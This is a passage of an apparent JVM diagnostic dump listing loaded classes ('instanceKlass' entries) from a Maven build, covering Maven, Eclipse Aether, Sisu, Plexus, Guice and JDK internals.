org/w3c/dom/Element\ninstanceKlass org/w3c/dom/Document\ninstanceKlass org/w3c/dom/Node\ninstanceKlass java/security/CodeSigner\ninstanceKlass java/util/jar/JarVerifier\ninstanceKlass org/eclipse/sisu/space/FileEntryIterator\ninstanceKlass org/eclipse/sisu/space/ResourceEnumeration\ninstanceKlass org/eclipse/sisu/plexus/ComponentDescriptorBeanModule$PlexusDescriptorBeanSource\ninstanceKlass org/apache/maven/plugin/AbstractMojo\ninstanceKlass org/apache/maven/plugin/ContextEnabled\ninstanceKlass org/apache/maven/plugin/Mojo\ninstanceKlass org/eclipse/sisu/plexus/ComponentDescriptorBeanModule\ninstanceKlass org/apache/maven/classrealm/ArtifactClassRealmConstituent\ninstanceKlass org/apache/maven/RepositoryUtils$$Lambda$169\ninstanceKlass org/eclipse/aether/util/graph/visitor/TreeDependencyVisitor\ninstanceKlass org/eclipse/aether/util/graph/visitor/FilteringDependencyVisitor\ninstanceKlass org/eclipse/aether/internal/impl/ArtifactRequestBuilder\ninstanceKlass org/eclipse/aether/util/graph/transformer/ConflictResolver$NodeInfo\ninstanceKlass org/eclipse/aether/util/artifact/ArtifactIdUtils\ninstanceKlass org/eclipse/aether/util/graph/transformer/NearestVersionSelector$ConflictGroup\ninstanceKlass org/eclipse/aether/util/graph/transformer/ConflictResolver$ConflictItem\ninstanceKlass org/eclipse/aether/util/graph/transformer/ConflictResolver$ScopeContext\ninstanceKlass org/eclipse/aether/util/graph/transformer/ConflictResolver$ConflictContext\ninstanceKlass org/eclipse/aether/util/graph/transformer/ConflictResolver$State\ninstanceKlass org/eclipse/aether/util/graph/transformer/ConflictIdSorter$RootQueue\ninstanceKlass org/eclipse/aether/util/graph/transformer/ConflictIdSorter$ConflictId\ninstanceKlass org/eclipse/aether/util/graph/transformer/ConflictMarker$ConflictGroup\ninstanceKlass org/eclipse/aether/util/graph/transformer/ConflictMarker$Key\ninstanceKlass org/eclipse/aether/util/graph/transformer/ConflictMarker\ninstanceKlass org/eclipse/aether/util/graph/transformer/ConflictIdSorter\ninstanceKlass org/eclipse/aether/util/graph/transformer/TransformationContextKeys\ninstanceKlass org/eclipse/aether/internal/impl/collect/DefaultDependencyGraphTransformationContext\ninstanceKlass org/eclipse/aether/internal/impl/collect/DataPool$GraphKey\ninstanceKlass org/eclipse/aether/internal/impl/collect/DefaultDependencyCycle\ninstanceKlass org/eclipse/aether/internal/impl/collect/DataPool$HardInternPool$$Lambda$168\ninstanceKlass org/eclipse/aether/internal/impl/collect/DataPool$Descriptor\ninstanceKlass org/eclipse/aether/internal/impl/collect/DataPool$Constraint$VersionRepo\ninstanceKlass org/eclipse/aether/internal/impl/collect/DataPool$Constraint\ninstanceKlass org/eclipse/aether/internal/impl/collect/DataPool$ConstraintKey\ninstanceKlass org/eclipse/aether/internal/impl/collect/CollectStepDataImpl\ninstanceKlass org/eclipse/aether/collection/CollectStepData\ninstanceKlass org/eclipse/aether/util/graph/manager/ClassicDependencyManager$Key\ninstanceKlass org/eclipse/aether/internal/impl/collect/df/NodeStack\ninstanceKlass org/eclipse/aether/graph/DependencyCycle\ninstanceKlass org/eclipse/aether/internal/impl/collect/DataPool$HardInternPool\ninstanceKlass org/eclipse/aether/internal/impl/collect/DataPool$WeakInternPool\ninstanceKlass org/eclipse/aether/internal/impl/collect/DataPool$InternPool\ninstanceKlass org/eclipse/aether/internal/impl/collect/CachingArtifactTypeRegistry\ninstanceKlass org/apache/maven/plugin/internal/WagonExcluder\ninstanceKlass org/eclipse/aether/util/filter/ScopeDependencyFilter\ninstanceKlass org/eclipse/aether/util/filter/AndDependencyFilter\ninstanceKlass org/apache/maven/plugin/DefaultPluginRealmCache$$Lambda$167\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass org/apache/maven/plugin/internal/DefaultMavenPluginManager$$Lambda$166\ninstanceKlass org/apache/maven/plugin/CacheUtils\ninstanceKlass org/apache/maven/plugin/DefaultPluginRealmCache$CacheKey\ninstanceKlass java/lang/Character$CharacterCache\ninstanceKlass org/apache/maven/lifecycle/internal/MojoExecutor$ProjectLock\ninstanceKlass org/apache/maven/project/artifact/DefaultProjectArtifactsCache$CacheKey\ninstanceKlass org/apache/maven/lifecycle/internal/MojoExecutor$1\ninstanceKlass org/apache/maven/lifecycle/internal/ExecutionPlanItem\ninstanceKlass org/codehaus/plexus/component/repository/ComponentRequirement\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultMojoExecutionConfigurator$$FastClassByGuice$$203223572\ninstanceKlass org/apache/maven/plugin/MavenPluginValidator\ninstanceKlass java/io/RandomAccessFile$1\ninstanceKlass org/codehaus/plexus/component/repository/ComponentDependency\ninstanceKlass org/codehaus/plexus/configuration/DefaultPlexusConfiguration\ninstanceKlass java/util/stream/MatchOps$$Lambda$165\ninstanceKlass java/util/stream/MatchOps$BooleanTerminalSink\ninstanceKlass java/util/stream/MatchOps$MatchOp\ninstanceKlass java/util/stream/MatchOps\ninstanceKlass org/apache/maven/plugin/internal/PlexusContainerDefaultDependenciesValidator$$Lambda$164\ninstanceKlass org/apache/maven/plugin/internal/PlexusContainerDefaultDependenciesValidator$$Lambda$163\ninstanceKlass org/apache/maven/plugin/internal/MavenScopeDependenciesValidator$$Lambda$162\ninstanceKlass org/apache/maven/plugin/internal/MavenScopeDependenciesValidator$$Lambda$161\ninstanceKlass org/apache/maven/plugin/internal/MavenScopeDependenciesValidator$$Lambda$160\ninstanceKlass org/apache/maven/plugin/internal/MavenScopeDependenciesValidator$$Lambda$159\ninstanceKlass org/apache/maven/plugin/internal/MavenScopeDependenciesValidator$$Lambda$158\ninstanceKlass org/apache/maven/plugin/internal/MavenScopeDependenciesValidator$$Lambda$157\ninstanceKlass org/apache/maven/plugin/internal/MavenMixedDependenciesValidator$$Lambda$156\ninstanceKlass org/apache/maven/plugin/internal/MavenMixedDependenciesValidator$$Lambda$155\ninstanceKlass org/apache/maven/plugin/internal/MavenMixedDependenciesValidator$$Lambda$154\ninstanceKlass org/apache/maven/plugin/internal/MavenMixedDependenciesValidator$$Lambda$153\ninstanceKlass java/util/stream/Collectors$$Lambda$152\ninstanceKlass java/util/stream/Collectors$$Lambda$151\ninstanceKlass java/util/stream/Collectors$$Lambda$150\ninstanceKlass org/apache/maven/plugin/internal/Maven2DependenciesValidator$$Lambda$149\ninstanceKlass org/apache/maven/plugin/internal/Maven2DependenciesValidator$$Lambda$148\ninstanceKlass org/apache/maven/plugin/internal/Maven2DependenciesValidator$$Lambda$147\ninstanceKlass org/apache/maven/plugin/internal/Maven2DependenciesValidator$$Lambda$146\ninstanceKlass org/apache/maven/plugin/internal/Maven2DependenciesValidator$$Lambda$145\ninstanceKlass org/apache/maven/model/io/xpp3/MavenXpp3Reader$1\ninstanceKlass org/apache/maven/model/io/xpp3/MavenXpp3Reader$ContentTransformer\ninstanceKlass org/apache/maven/model/io/xpp3/MavenXpp3Reader\ninstanceKlass org/apache/maven/repository/internal/DefaultModelResolver\ninstanceKlass org/apache/maven/plugin/DefaultPluginDescriptorCache$$Lambda$144\ninstanceKlass org/apache/maven/plugin/internal/DefaultMavenPluginManager$$Lambda$143\ninstanceKlass org/apache/maven/plugin/DefaultPluginDescriptorCache$CacheKey\ninstanceKlass org/apache/maven/lifecycle/internal/GoalTask\ninstanceKlass org/apache/maven/execution/ProjectExecutionEvent\ninstanceKlass org/apache/maven/lifecycle/internal/CompoundProjectExecutionListener\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultLifecycleMappingDelegate$$FastClassByGuice$$201734650\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultLifecycleExecutionPlanCalculator$$FastClassByGuice$$201080415\ninstanceKlass org/apache/maven/project/artifact/DefaultProjectArtifactsCache$$FastClassByGuice$$199848658\ninstanceKlass org/apache/maven/lifecycle/internal/builder/singlethreaded/SingleThreadedBuilder$$FastClassByGuice$$199220097\ninstanceKlass org/apache/maven/graph/DefaultProjectDependencyGraph$MavenProjectComparator\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleTask\ninstanceKlass org/slf4j/helpers/FormattingTuple\ninstanceKlass org/slf4j/helpers/MessageFormatter\ninstanceKlass org/apache/maven/plugin/internal/DefaultPluginValidationManager$$Lambda$142\ninstanceKlass org/apache/maven/plugin/internal/DefaultPluginValidationManager$$Lambda$141\ninstanceKlass org/apache/maven/internal/aether/MavenChainedWorkspaceReader\ninstanceKlass java/util/stream/Collectors$$Lambda$140\ninstanceKlass java/util/stream/Collectors$$Lambda$139\ninstanceKlass java/util/stream/Collectors$$Lambda$138\ninstanceKlass org/apache/maven/ReactorReader$$Lambda$137\ninstanceKlass org/apache/maven/ReactorReader$$Lambda$136\ninstanceKlass org/apache/maven/session/scope/internal/SessionScope$ScopeState$$Lambda$135\ninstanceKlass org/apache/maven/execution/MavenSession$$Lambda$134\ninstanceKlass org/apache/maven/execution/MavenSession$$Lambda$133\ninstanceKlass org/codehaus/plexus/util/dag/TopologicalSorter\ninstanceKlass org/codehaus/plexus/util/dag/CycleDetector\ninstanceKlass org/codehaus/plexus/util/dag/Vertex\ninstanceKlass org/codehaus/plexus/util/dag/DAG\ninstanceKlass org/apache/maven/project/ProjectSorter\ninstanceKlass org/apache/maven/graph/DefaultProjectDependencyGraph\ninstanceKlass org/apache/maven/project/DefaultProjectBuildingResult\ninstanceKlass org/apache/maven/lifecycle/mapping/DefaultLifecycleMapping$__sisu1$$FastClassByGuice$$197143457\ninstanceKlass org/apache/maven/model/Site\ninstanceKlass org/apache/maven/model/merge/ModelMerger$NotifierKeyComputer\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$132\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$131\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$130\ninstanceKlass org/apache/maven/model/Notifier\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$129\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$128\ninstanceKlass org/eclipse/aether/util/version/GenericVersion$Item\ninstanceKlass org/eclipse/aether/util/version/GenericVersion$Tokenizer\ninstanceKlass org/eclipse/aether/util/version/GenericVersion\ninstanceKlass org/eclipse/aether/util/version/GenericVersionConstraint\ninstanceKlass org/eclipse/aether/version/VersionConstraint\ninstanceKlass org/eclipse/aether/version/VersionRange\ninstanceKlass org/eclipse/aether/util/version/GenericVersionScheme\ninstanceKlass java/util/Formattable\ninstanceKlass java/util/Formatter$Conversion\ninstanceKlass java/util/Formatter$Flags\ninstanceKlass java/util/Formatter$FormatSpecifier\ninstanceKlass java/util/Formatter$FixedString\ninstanceKlass java/util/Formatter$FormatString\ninstanceKlass java/util/Formatter\ninstanceKlass org/eclipse/aether/named/support/NamedLockFactorySupport$$Lambda$127\ninstanceKlass java/util/AbstractMap$2$1\ninstanceKlass java/nio/channels/spi/AbstractInterruptibleChannel$1\ninstanceKlass sun/nio/ch/Interruptible\ninstanceKlass sun/nio/ch/FileKey\ninstanceKlass sun/nio/ch/FileLockTable\ninstanceKlass sun/nio/fs/WindowsFileSystemProvider$1\ninstanceKlass org/eclipse/aether/repository/LocalArtifactRequest\ninstanceKlass org/apache/maven/repository/internal/DefaultVersionResolver$Key\ninstanceKlass org/eclipse/aether/internal/impl/DefaultRepositoryEventDispatcher$1\ninstanceKlass org/eclipse/aether/RepositoryEvent$Builder\ninstanceKlass org/eclipse/aether/internal/impl/filter/RemoteRepositoryFilterSourceSupport$SimpleResult\ninstanceKlass org/eclipse/aether/internal/impl/filter/DefaultRemoteRepositoryFilterManager$$Lambda$126\ninstanceKlass org/eclipse/aether/named/support/ReadWriteLockNamedLock$$Lambda$125\ninstanceKlass org/eclipse/aether/named/support/Retry$DoNotRetry\ninstanceKlass org/eclipse/aether/named/support/NamedLockFactorySupport$$Lambda$124\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/NamedLockFactoryAdapter$AdaptedLockSyncContext\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/GAVNameMapper\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/NameMappers\ninstanceKlass org/eclipse/sisu/wire/NamedIterableAdapter$NamedEntry\ninstanceKlass org/eclipse/sisu/wire/NamedIterableAdapter$NamedIterator\ninstanceKlass org/eclipse/aether/DefaultSessionData$$Lambda$123\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/DefaultSyncContextFactory$$Lambda$122\ninstanceKlass org/eclipse/aether/artifact/AbstractArtifact\ninstanceKlass org/apache/maven/lifecycle/Lifecycle$__sisu8$$FastClassByGuice$$196539390\ninstanceKlass org/apache/maven/lifecycle/Lifecycle$__sisu7$$FastClassByGuice$$195763892\ninstanceKlass org/apache/maven/lifecycle/mapping/LifecycleMojo\ninstanceKlass org/apache/maven/lifecycle/mapping/DefaultLifecycleMapping$$FastClassByGuice$$194395579\ninstanceKlass org/apache/maven/lifecycle/mapping/Lifecycle\ninstanceKlass org/apache/maven/model/building/DefaultModelBuildingEvent\ninstanceKlass org/apache/maven/model/building/ModelBuildingEventCatapult$1\ninstanceKlass org/apache/maven/project/ReactorModelPool$CacheKey\ninstanceKlass org/apache/maven/model/Exclusion\ninstanceKlass org/apache/maven/artifact/versioning/ComparableVersion$StringItem\ninstanceKlass org/apache/maven/artifact/handler/DefaultArtifactHandler$__sisu9$$FastClassByGuice$$193548775\ninstanceKlass org/apache/maven/repository/internal/DefaultModelCache$Key\ninstanceKlass org/apache/maven/model/building/ModelCacheTag$2\ninstanceKlass org/apache/maven/model/building/ModelCacheTag$1\ninstanceKlass org/apache/maven/project/DefaultProjectBuilder$InterimResult\ninstanceKlass org/eclipse/aether/repository/AuthenticationContext\ninstanceKlass org/apache/maven/artifact/handler/DefaultArtifactHandler$__sisu13$$FastClassByGuice$$192831898\ninstanceKlass org/apache/maven/artifact/versioning/Restriction\ninstanceKlass org/apache/maven/artifact/ArtifactUtils\ninstanceKlass org/apache/maven/artifact/DefaultArtifact\ninstanceKlass org/apache/maven/artifact/handler/DefaultArtifactHandler$$FastClassByGuice$$191574430\ninstanceKlass org/apache/maven/artifact/versioning/ComparableVersion$IntItem\ninstanceKlass org/apache/maven/artifact/versioning/ComparableVersion$Item\ninstanceKlass org/apache/maven/artifact/versioning/ComparableVersion\ninstanceKlass org/apache/maven/artifact/versioning/DefaultArtifactVersion\ninstanceKlass org/apache/maven/repository/internal/ArtifactDescriptorUtils\ninstanceKlass org/apache/maven/model/Extension\ninstanceKlass org/codehaus/plexus/interpolation/util/StringUtils\ninstanceKlass org/apache/maven/model/Organization\ninstanceKlass org/apache/maven/model/IssueManagement\ninstanceKlass org/apache/maven/model/CiManagement\ninstanceKlass org/apache/maven/model/MailingList\ninstanceKlass org/apache/maven/model/Prerequisites\ninstanceKlass org/apache/maven/model/Parent\ninstanceKlass org/codehaus/plexus/interpolation/reflection/MethodMap\ninstanceKlass org/codehaus/plexus/interpolation/reflection/ClassMap$CacheMiss\ninstanceKlass org/codehaus/plexus/interpolation/reflection/ClassMap\ninstanceKlass org/codehaus/plexus/interpolation/reflection/ReflectionValueExtractor$Tokenizer\ninstanceKlass org/codehaus/plexus/interpolation/reflection/ReflectionValueExtractor\ninstanceKlass org/codehaus/plexus/interpolation/util/ValueSourceUtils\ninstanceKlass org/apache/maven/model/interpolation/StringVisitorModelInterpolator$ModelVisitor\ninstanceKlass org/apache/maven/model/interpolation/StringVisitorModelInterpolator$1\ninstanceKlass org/codehaus/plexus/interpolation/PrefixAwareRecursionInterceptor\ninstanceKlass org/apache/maven/model/interpolation/UrlNormalizingPostProcessor\ninstanceKlass org/apache/maven/model/interpolation/PathTranslatingPostProcessor\ninstanceKlass java/text/DontCareFieldPosition$1\ninstanceKlass java/text/Format$FieldDelegate\ninstanceKlass sun/util/resources/Bundles$2\ninstanceKlass sun/util/resources/LocaleData$LocaleDataResourceBundleProvider\ninstanceKlass java/util/spi/ResourceBundleProvider\ninstanceKlass org/apache/maven/model/interpolation/MavenBuildTimestamp\ninstanceKlass org/apache/maven/model/interpolation/ProblemDetectingValueSource\ninstanceKlass org/codehaus/plexus/interpolation/PrefixedValueSourceWrapper\ninstanceKlass org/codehaus/plexus/interpolation/FeedbackEnabledValueSource\ninstanceKlass org/codehaus/plexus/interpolation/AbstractDelegatingValueSource\ninstanceKlass org/codehaus/plexus/interpolation/QueryEnabledValueSource\ninstanceKlass org/apache/maven/model/merge/ModelMerger$ExtensionKeyComputer\ninstanceKlass org/apache/maven/model/merge/ModelMerger$ResourceKeyComputer\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$121\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$120\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$119\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$118\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$117\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$InterpolateString\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$1Interpolation\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$116\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$115\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$114\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$113\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$112\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$111\ninstanceKlass org/apache/maven/model/merge/ModelMerger$SourceDominant\ninstanceKlass org/apache/maven/model/merge/ModelMerger$DependencyKeyComputer\ninstanceKlass org/apache/maven/model/profile/DefaultProfileActivationContext$$Lambda$110\ninstanceKlass org/apache/maven/model/profile/DefaultProfileActivationContext$$Lambda$109\ninstanceKlass org/apache/maven/model/profile/DefaultProfileActivationContext$$Lambda$108\ninstanceKlass java/util/Spliterators$IteratorSpliterator\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$Lambda$107\ninstanceKlass org/apache/maven/model/building/DefaultModelProblem\ninstanceKlass org/apache/maven/model/building/ModelProblemCollectorRequest\ninstanceKlass org/apache/maven/model/building/ModelProblemUtils\ninstanceKlass org/apache/maven/model/License\ninstanceKlass org/apache/maven/model/Scm\ninstanceKlass org/apache/maven/model/io/xpp3/MavenXpp3ReaderEx$Xpp3DomBuilderInputLocationBuilder\ninstanceKlass org/apache/maven/model/DistributionManagement\ninstanceKlass org/apache/maven/model/DependencyManagement\ninstanceKlass org/apache/maven/model/io/xpp3/MavenXpp3ReaderEx$1\ninstanceKlass org/codehaus/plexus/util/xml/Xpp3DomBuilder$InputLocationBuilder\ninstanceKlass org/apache/maven/model/io/xpp3/MavenXpp3ReaderEx$ContentTransformer\ninstanceKlass org/apache/maven/model/io/xpp3/MavenXpp3ReaderEx\ninstanceKlass org/apache/maven/model/building/ModelSource2\ninstanceKlass org/apache/maven/model/building/DefaultModelBuildingResult\ninstanceKlass org/apache/maven/model/building/AbstractModelBuildingListener\ninstanceKlass org/apache/maven/project/ProjectModelResolver\ninstanceKlass org/apache/maven/model/building/DefaultModelBuildingRequest\ninstanceKlass org/apache/maven/artifact/repository/LegacyLocalRepositoryManager\ninstanceKlass org/apache/maven/repository/internal/DefaultModelCache\ninstanceKlass org/apache/maven/project/DefaultProjectBuildingRequest\ninstanceKlass org/apache/maven/shared/utils/logging/AnsiMessageBuilder\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultExecutionEventCatapult$1\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultExecutionEvent\ninstanceKlass org/apache/maven/AbstractMavenLifecycleParticipant\ninstanceKlass java/util/concurrent/atomic/AtomicReference\ninstanceKlass org/apache/maven/session/scope/internal/SessionScope$CachingProvider\ninstanceKlass org/apache/maven/session/scope/internal/SessionScope$$Lambda$106\ninstanceKlass org/apache/maven/settings/RuntimeInfo\ninstanceKlass org/eclipse/aether/internal/impl/LocalPathPrefixComposerFactorySupport$LocalPathPrefixComposerSupport\ninstanceKlass org/eclipse/aether/internal/impl/SimpleLocalRepositoryManager\ninstanceKlass java/util/ArrayList$SubList$1\ninstanceKlass org/eclipse/aether/internal/impl/PrioritizedComponent\ninstanceKlass org/eclipse/sisu/wire/EntrySetAdapter$ValueIterator\ninstanceKlass org/eclipse/aether/internal/impl/PrioritizedComponents\ninstanceKlass org/apache/maven/RepositoryUtils$$Lambda$105\ninstanceKlass java/util/Collections$2\ninstanceKlass org/eclipse/aether/repository/RemoteRepository$Builder\ninstanceKlass org/eclipse/aether/util/ConfigUtils\ninstanceKlass org/eclipse/aether/AbstractRepositoryListener\ninstanceKlass org/eclipse/aether/util/repository/ChainedAuthentication\ninstanceKlass org/eclipse/aether/util/repository/SecretAuthentication\ninstanceKlass org/eclipse/aether/util/repository/StringAuthentication\ninstanceKlass org/eclipse/aether/repository/Authentication\ninstanceKlass org/eclipse/aether/util/repository/AuthenticationBuilder\ninstanceKlass org/eclipse/aether/util/repository/DefaultAuthenticationSelector\ninstanceKlass org/eclipse/aether/util/repository/DefaultProxySelector\ninstanceKlass org/eclipse/aether/util/repository/DefaultMirrorSelector$MirrorDef\ninstanceKlass org/eclipse/aether/util/repository/DefaultMirrorSelector\ninstanceKlass org/apache/maven/settings/crypto/DefaultSettingsDecryptionResult\ninstanceKlass java/util/regex/Pattern$2\ninstanceKlass org/apache/maven/settings/crypto/DefaultSettingsDecryptionRequest\ninstanceKlass org/apache/maven/RepositoryUtils$MavenArtifactTypeRegistry\ninstanceKlass org/apache/maven/RepositoryUtils\ninstanceKlass org/eclipse/aether/util/repository/SimpleResolutionErrorPolicy\ninstanceKlass java/util/stream/Collectors$$Lambda$104\ninstanceKlass java/util/stream/Collectors$$Lambda$103\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/util/stream/Collectors$$Lambda$102\ninstanceKlass org/apache/maven/internal/aether/DefaultRepositorySystemSessionFactory$$Lambda$101\ninstanceKlass org/apache/maven/internal/aether/DefaultRepositorySystemSessionFactory$$Lambda$100\ninstanceKlass org/apache/maven/internal/aether/DefaultRepositorySystemSessionFactory$$Lambda$99\ninstanceKlass org/apache/maven/internal/aether/DefaultRepositorySystemSessionFactory$$Lambda$98\ninstanceKlass org/apache/maven/internal/aether/DefaultRepositorySystemSessionFactory$$Lambda$97\ninstanceKlass org/apache/maven/internal/aether/DefaultRepositorySystemSessionFactory$$Lambda$96\ninstanceKlass org/eclipse/aether/util/repository/SimpleArtifactDescriptorPolicy\ninstanceKlass org/eclipse/aether/artifact/DefaultArtifactType\ninstanceKlass org/eclipse/aether/util/artifact/SimpleArtifactTypeRegistry\ninstanceKlass org/eclipse/aether/util/graph/transformer/JavaDependencyContextRefiner\ninstanceKlass org/eclipse/aether/util/graph/transformer/ChainedDependencyGraphTransformer\ninstanceKlass org/eclipse/aether/util/graph/transformer/ConflictResolver\ninstanceKlass org/eclipse/aether/graph/Exclusion\ninstanceKlass org/eclipse/aether/util/graph/selector/ExclusionDependencySelector\ninstanceKlass org/eclipse/aether/util/graph/selector/OptionalDependencySelector\ninstanceKlass org/eclipse/aether/util/graph/selector/ScopeDependencySelector\ninstanceKlass org/eclipse/aether/util/graph/selector/AndDependencySelector\ninstanceKlass org/eclipse/aether/util/graph/manager/ClassicDependencyManager\ninstanceKlass org/eclipse/aether/util/graph/traverser/FatArtifactTraverser\ninstanceKlass org/eclipse/aether/DefaultSessionData\ninstanceKlass org/eclipse/aether/DefaultRepositorySystemSession$NullFileTransformerManager\ninstanceKlass org/eclipse/aether/transform/FileTransformerManager\ninstanceKlass org/eclipse/aether/DefaultRepositorySystemSession$NullArtifactTypeRegistry\ninstanceKlass org/eclipse/aether/DefaultRepositorySystemSession$NullAuthenticationSelector\ninstanceKlass org/eclipse/aether/DefaultRepositorySystemSession$NullProxySelector\ninstanceKlass org/eclipse/aether/DefaultRepositorySystemSession$NullMirrorSelector\ninstanceKlass org/eclipse/aether/SessionData\ninstanceKlass org/eclipse/aether/artifact/ArtifactTypeRegistry\ninstanceKlass org/eclipse/aether/collection/DependencyGraphTransformer\ninstanceKlass org/eclipse/aether/util/graph/transformer/ConflictResolver$VersionSelector\ninstanceKlass org/eclipse/aether/util/graph/transformer/ConflictResolver$ScopeSelector\ninstanceKlass org/eclipse/aether/util/graph/transformer/ConflictResolver$OptionalitySelector\ninstanceKlass org/eclipse/aether/util/graph/transformer/ConflictResolver$ScopeDeriver\ninstanceKlass org/apache/maven/repository/internal/MavenRepositorySystemUtils\ninstanceKlass org/apache/maven/execution/DefaultMavenExecutionResult\ninstanceKlass org/apache/maven/artifact/repository/MavenArtifactRepository\ninstanceKlass org/apache/maven/artifact/repository/layout/ArtifactRepositoryLayout2\ninstanceKlass org/apache/maven/artifact/repository/layout/DefaultRepositoryLayout$$FastClassByGuice$$190080347\ninstanceKlass org/apache/maven/execution/AbstractExecutionListener\ninstanceKlass org/apache/maven/cli/transfer/SimplexTransferListener$$Lambda$95\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/apache/maven/cli/transfer/SimplexTransferListener$Exchange\ninstanceKlass org/eclipse/aether/transfer/AbstractTransferListener\ninstanceKlass org/apache/maven/toolchain/building/DefaultToolchainsBuildingResult\ninstanceKlass org/apache/maven/toolchain/building/DefaultToolchainsBuilder$1\ninstanceKlass org/apache/maven/toolchain/model/io/xpp3/MavenToolchainsXpp3Writer\ninstanceKlass org/apache/maven/toolchain/model/io/xpp3/MavenToolchainsXpp3Reader$1\ninstanceKlass org/apache/maven/toolchain/model/io/xpp3/MavenToolchainsXpp3Reader$ContentTransformer\ninstanceKlass org/apache/maven/toolchain/model/io/xpp3/MavenToolchainsXpp3Reader\ninstanceKlass org/apache/maven/building/DefaultProblemCollector\ninstanceKlass org/apache/maven/building/ProblemCollectorFactory\ninstanceKlass org/apache/maven/toolchain/building/DefaultToolchainsBuildingRequest\ninstanceKlass org/apache/maven/settings/SettingsUtils\ninstanceKlass org/apache/maven/settings/building/DefaultSettingsBuildingResult\ninstanceKlass org/apache/maven/settings/building/DefaultSettingsBuilder$1\ninstanceKlass org/codehaus/plexus/interpolation/os/OperatingSystemUtils$DefaultEnvVarSource\ninstanceKlass org/codehaus/plexus/interpolation/os/OperatingSystemUtils$EnvVarSource\ninstanceKlass org/codehaus/plexus/interpolation/os/OperatingSystemUtils\ninstanceKlass org/codehaus/plexus/util/xml/pull/MXSerializer\ninstanceKlass org/codehaus/plexus/util/xml/pull/XmlSerializer\ninstanceKlass org/apache/maven/settings/io/xpp3/SettingsXpp3Writer\ninstanceKlass org/apache/maven/settings/Activation\ninstanceKlass org/codehaus/plexus/util/xml/pull/EntityReplacementMap\ninstanceKlass org/apache/maven/settings/io/xpp3/SettingsXpp3Reader$1\ninstanceKlass org/apache/maven/settings/io/xpp3/SettingsXpp3Reader$ContentTransformer\ninstanceKlass org/apache/maven/settings/io/xpp3/SettingsXpp3Reader\ninstanceKlass org/apache/maven/building/FileSource\ninstanceKlass org/apache/maven/settings/building/DefaultSettingsBuildingRequest\ninstanceKlass java/util/regex/CharPredicates$$Lambda$94\ninstanceKlass org/apache/maven/graph/DefaultGraphBuilder$$FastClassByGuice$$189094917\ninstanceKlass jdk/internal/math/FDBigInteger\ninstanceKlass org/apache/maven/plugin/prefix/internal/DefaultPluginPrefixResolver$$FastClassByGuice$$188430346\ninstanceKlass org/apache/maven/plugin/CompoundMojoExecutionListener\ninstanceKlass org/apache/maven/plugin/DefaultBuildPluginManager$$FastClassByGuice$$187389510\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultLifecycleTaskSegmentCalculator$$FastClassByGuice$$186284209\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultExecutionEventCatapult$$FastClassByGuice$$185288206\ninstanceKlass org/apache/maven/project/DefaultProjectDependenciesResolver$$FastClassByGuice$$184068796\ninstanceKlass org/apache/maven/project/RepositorySessionDecorator\ninstanceKlass org/apache/maven/plugin/DefaultPluginArtifactsCache$$FastClassByGuice$$182528964\ninstanceKlass com/google/inject/internal/DelegatingInvocationHandler\ninstanceKlass org/apache/maven/artifact/repository/metadata/io/DefaultMetadataReader$$FastClassByGuice$$182114011\ninstanceKlass org/apache/maven/plugin/version/internal/DefaultPluginVersionResolver$$FastClassByGuice$$180538479\ninstanceKlass org/apache/maven/plugin/DefaultExtensionRealmCache$$FastClassByGuice$$180249423\ninstanceKlass org/apache/maven/rtinfo/internal/DefaultRuntimeInformation$$FastClassByGuice$$178611274\ninstanceKlass org/apache/maven/plugin/DefaultPluginRealmCache$$FastClassByGuice$$177300156\ninstanceKlass org/apache/maven/plugin/DefaultPluginDescriptorCache$$FastClassByGuice$$176445409\ninstanceKlass org/apache/maven/plugin/internal/DefaultMavenPluginManager$$FastClassByGuice$$175219054\ninstanceKlass sun/security/jca/GetInstance$Instance\ninstanceKlass sun/security/provider/AbstractDrbg$$Lambda$93\ninstanceKlass sun/security/provider/EntropySource\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass sun/security/provider/AbstractDrbg\ninstanceKlass java/security/DrbgParameters$Instantiation\ninstanceKlass java/security/DrbgParameters\ninstanceKlass sun/security/provider/MoreDrbgParameters\ninstanceKlass sun/security/provider/DRBG$$Lambda$92\ninstanceKlass java/security/SecureRandomParameters\ninstanceKlass sun/security/jca/GetInstance\ninstanceKlass 